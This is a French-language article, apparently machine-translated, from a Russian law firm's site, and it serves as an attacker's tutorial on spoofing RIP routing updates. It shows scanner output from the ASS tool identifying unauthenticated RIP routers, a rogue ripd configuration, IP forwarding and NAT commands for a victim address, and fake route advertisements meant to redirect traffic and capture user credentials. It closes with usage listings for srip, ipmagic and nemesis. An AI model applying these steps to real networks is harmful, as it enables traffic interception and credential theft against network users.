Москва
+7-929-527-81-33
Вологда
+7-921-234-45-78
Вопрос юристу онлайн Юридическая компания ЛЕГАС Вконтакте

Fausses routes RIP.

Обновлено 20.09.2025 07:33

 

Petukhov Oleg, avocat en droit international et protection des données personnelles, spécialiste de l'information sécurité, protection de l'information et des données personnelles.

Telegram Channel: https://t.me/protecciondelainformacion

Groupe au Télégramme: https://t.me/securiteinformatique2

Site: https://legascom.ru

E-mail: online@legascom.ru

 

#sécuritéinformations #informationsécurité

Le protocole RIP utilise le port 520 et UDP pour fonctionner. Les routeurs «écoutent " le trafic sur un port donné. De cette façon, tout paquet de format approprié sera accepté et traité par le routeur. Si l'authentification RIP n'est pas utilisée ou si le mot de passe est vide, un attaquant pourrait transmettre des données d'itinéraire incorrectes au routeur, redirigeant ainsi le trafic réseau via les nœuds contrôlés par le pirate.

La première chose à laquelle un attaquant devrait lancer son attaque consiste à identifier les routeurs utilisant le protocole RIP. Cela peut être fait de plusieurs façons.

1. Vous pouvez écouter le trafic avec un renifleur. Toutes les 30 secondes, les routeurs échangent des informations de routage. L'échange est également effectué lorsque la topologie est modifiée. Nous avons déjà implémenté cette attaque dans les sections précédentes consacrées au spoofing ARP. Je vous rappelle seulement que pour sa mise en œuvre, l'attaquant doit être lui-même sur le réseau local.

2. Un attaquant pourrait également analyser le réseau à la recherche d'hôtes avec un port UDP 520 ouvert.

3. La meilleure solution, et souvent la seule, consiste à utiliser un analyseur de paquets spécialisé pour intercepter et analyser précisément les mises à jour des tables de routage.

Un tel outil spécialisé est un utilitaire avec le nom simple ASS (autonomous system scanner). Cet utilitaire permet la recherche active et passive des routeurs et des protocoles de routage. Dans le processus de numérisation, ASS fonctionne en mode actif, à la fin il passe en mode passif, qui écoute uniquement le trafic. Cet utilitaire prend en charge non seulement RIP, mais aussi d'autres protocoles de routage, donc à l'avenir, nous y reviendrons à plusieurs reprises.

Voici un exemple de fonctionnement en mode passif:

root@kali : # ./ass -i eth0

ASS [Autonomous System Scanner] $Revision: 1.24 $

(c) 2k++ FX <fx@phenoelit.de>;

Phenoelit (http://www.phenoelit.de)

IRPAS build XXXIX

passive listen ... (hit Ctrl-C to finish)

>>>Results>>>

Router 192.168.66.101 (RIPv2 )

RIP2 [ n/a ] unknown auth

RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 192.168.66.100

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 192.168.66.100

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.77.0/255.255.255.0, next: 0.0.0.0

(tag 0, mtr 1)

Router 192.168.66.100 (RIPv2 )

RIP2 [ n/a ] unknown auth

RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.0.1/255.255.255.255, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.66.105/255.255.255.255, next: 0.0.0.0

(tag 0, mtr 1)

Et ainsi l'utilitaire fonctionne en mode actif:

root@kali : # ./ass -i eth0 -A -v

ASS [Autonomous System Scanner] $Revision: 1.24 $

(c) 2k++ FX <fx@phenoelit.de>;

Phenoelit (http://www.phenoelit.de)

IRPAS build XXXIX

Scanning

+ scanning IRDP ...

+ scanning RIv1 ...

+ scanning RIPv2 ...

+ scanning IGRP ...

+ waiting for EIGRP HELLOs (12s) ...

Continuing capture ... (hit Ctrl-C to finish)

>>>Results>>>

Router 192.168.66.100 (RIPv1 RIPv2 )

RIP1 [ n/a ] 0.0.0.0 (metric 1)

RIP1 [ n/a ] 192.168.0.1 (metric 1)

RIP1 [ n/a ] 192.168.66.9 (metric 1)

RIP1 [ n/a ] 192.168.66.105 (metric 1)

RIP2 [ n/a ] unknown auth

RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.0.1/255.255.255.255, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.66.105/255.255.255.255, next: 0.0.0.0

(tag 0, mtr 1)

Router 192.168.66.101 (RIPv2 )

RIP2 [ n/a ] unknown auth

RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 192.168.66.100

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 192.168.66.100

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.77.0/255.255.255.0, next: 0.0.0.0

(tag 0, mtr 1)

Les exemples ci-dessus montrent un échange d'informations de routage intercepté entre deux routeurs 192.168.66.100 et 192.168.66.101. L'authentification n'est pas utilisée, sinon une méthode comme md5 serait spécifiée.

Dans l'exemple ci – dessous, le routeur IP est le routeur cible dont le trafic est écouté et le numéro de version RIP 1 ou 2 est indiqué avec la clé –P.

root@kali : # ass -v -i eth0 -D <router IP> -P <1 | 2>

Nous avons donc identifié avec succès les routeurs utilisant le protocole RIP, sa version ainsi que la méthode d'authentification. Maintenant, vous pouvez essayer d'effectuer une attaque. Dans le cas le plus simple, vous pouvez rediriger le trafic via votre routeur pour intercepter les informations d'identification des utilisateurs. Dans ce cas, nous oublions la limite de 15 routeurs entre deux nœuds du réseau.

Pour effectuer une attaque, vous devez d'abord configurer votre faux routeur, puis échanger des informations sur les itinéraires avec les routeurs voisins.

Pour ce faire, vous devez effectuer les paramètres appropriés dans notre routeur. Voici un exemple de fichier de configuration qui utilise le protocole RIP version 2 et une clé d'authentification unique.

!

! Zebra configuration saved from vty

! 2005/08/12 23:44:33

!

hostname legitimate.ripd

password 8 p@ssw0rd>

enable password 8 Cb/yfFsI.abqs

service advanced-vty

service password-encryption

!

!

key chain dmz_auth

key 1

key-string secret_key

!

interface eth0

description DMZ_network

ip rip authentication mode md5 auth-length old-ripd

ip rip authentication key-chain dmz_auth

!

router rip

version 2

redistribute connected

network 192.168.20.0/24

!

line vty

exec-timeout 30 0

!

Ensuite, vous devez configurer le Forwarding du trafic via votre hôte. Vous pouvez le faire de la manière suivante:

root@kali : # echo 1 > /proc/sys/net/ipv4/ip_forward

La prochaine étape préparatoire consiste à configurer la traduction d'adresses à l'aide de Network Address Translation (NAT). Ceci est nécessaire pour que les paquets se dirigeant vers ou depuis la machine de la victime atteignent le point final de destination, en termes simples, ne soient pas perdus.

root@kali : # iptables -t nat -A POSTROUTING -o eth0 -s victim_IP -j SNAT --to-source your_IP

Avant de lancer une attaque, vous devez définir exactement sur quel routeur vous souhaitez envoyer une fausse mise à jour RIP des informations de routage. Le destinataire doit être une adresse unicast et non multicast, car dans ce cas, l'attaque est beaucoup plus facile à détecter.

Dans l'étape suivante, créez un enregistrement d'itinéraire:

router rip

version 2

default-information originate

neighbor 192.168.20.103

route 192.168.66.9/32

Maintenant, le trafic provenant du réseau 192.168.77.0/24 vers la machine 192.168.66.9 passera par le routeur de l'attaquant.

Maintenant, après une annonce similaire du réseau 192.168.77.0 / 24, de nouvelles routes apparaîtront dans les tables de routage RIP. Certes, l'itinéraire le plus court est toujours le chemin entre deux routeurs légaux. Cependant, si un attaquant peut, d'une manière ou d'une autre (par exemple, par «inondation») désactiver un canal légal, alors tout le trafic passera par un faux routeur.

Pour terminer le sujet des routes contrefaites, considérons quelques utilitaires supplémentaires pour générer des mises à jour RIP sur une base régulière. Un exemple d'un tel utilitaire est srip:

root@kali : # srip <RIP version> -n <netmask> <malicious router IP>

<targeted RIP router IP> <destination host or network IP> <metric>

où <malicious router IP> est la machine à travers laquelle le trafic doit être redirigé, c'est – à – dire l'hôte de l'attaquant; <destination host or network IP> est l'adresse vers laquelle les données sont transmises; <metric> est généralement la valeur 1.

Pour affiner les mises à jour RIP, vous pouvez utiliser l'utilitaire ipmagic du projet IP Sorcery.

Voici un exemple de toutes les options de cet utilitaire:

root@kali : #./ipmagic

Usage: ./ipmagic [options]

IP: [-is|-id|-ih|-iv|-il|-it|-io|-id|-ip]

-is: source host or address def. 127.0.0.1

-id: source destination or address def. 127.0.0.1

-ih: IP header length def. 5

-iv: IP version def. 4

-il: Time-to-Live def. 64

-it: Type-of-Service def. 0

-io: IP frag offset [(D)on't Fragment|(M)ore Fragments|(F)ragment|(N)one]

-ii: IP packet ID for fragmentation def. 0

-ip: IP protocol [TCP|UDP|ICMP|IP] def. TCP -iO: IP options

<skip>

UDP: [-us|-ud|-ul]

-us: UDP source port def. rand()

-ud: UDP destination port def. 161

-ul: UDP length

RIP: [-uR|-uRc|-uRv]

-uR: Send default RIP packet to port 520

-uRc: RIP command [RQ|RS|TN|TF|SR|TQ|TS|TA|UQ|US|UA] def. RQ

For a list of RIP commands run program with -h rip

-uRv: RIP version [1|2] def. 2

Note: Entry Tables should be used with response packets[RS|TS|US]

-uRa(1|2|etc.): RIP Entry table Address exmp. -uRa1

-uRn(1|2|etc.): RIP Entry table Netmask, exmp. -uRn2

-uRh(1|2|etc.): RIP Entry table Next Hop, exmp. -uRn(num)

-uRm(1|2|etc.): RIP Entry table Metric

-uRr(1|2|etc.): RIP Entry table Route Tag

-uRe: Add default RIP Entry table to packet

root@kali : #./ipmagic -h rip

RIP Commands [RQ|RS|TN|TF|SR|TQ|TS|TA|UQ|US|UA]

RS: Response Packet

RQ: Request Packet

TN: Trace On

TF: Trace Off

SR: Sun Reserved

TQ: Triggered Request

TR: Triggered Response

TA: Triggered Acknowledgement

UQ: Update Request

UR: Update Response

UA: Update Acknowledgment

Enfin, Nemesis est un autre outil utile pour lancer des attaques contre le protocole de routage RIP. L'ensemble des options de cet utilitaire est également assez riche.

root@kali : # nemesis rip help

RIP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)

RIP usage:

rip [-v (verbose)] [options]

RIP options:

-c <RIP command>

-V <RIP version>

-r <RIP routing domain>

-a <RIP address family>

-R <RIP route tag>

-i <RIP route address>

-k <RIP network address mask>

-h <RIP next hop address>

-m <RIP metric>

-P <Payload file>

UDP options:

-x <Source port>

-y <Destination port>

IP options:

-S <Source IP address>

-D <Destination IP address>

-I <IP ID>

-T <IP TTL>

-t <IP TOS>

-F <IP fragmentation options>

-F[D],[M],[R],[offset]

-O <IP options file>

Data Link Options:

-d <Ethernet device name>

-H <Source MAC address>

-M <Destination MAC address>

Un inconvénient majeur des outils décrits ci-dessus est qu'ils ne sont pas capables d'envoyer des paquets RIP en utilisant l'authentification. La sortie peut être le piratage de l'authentification, mais nous en parlerons un peu plus tard.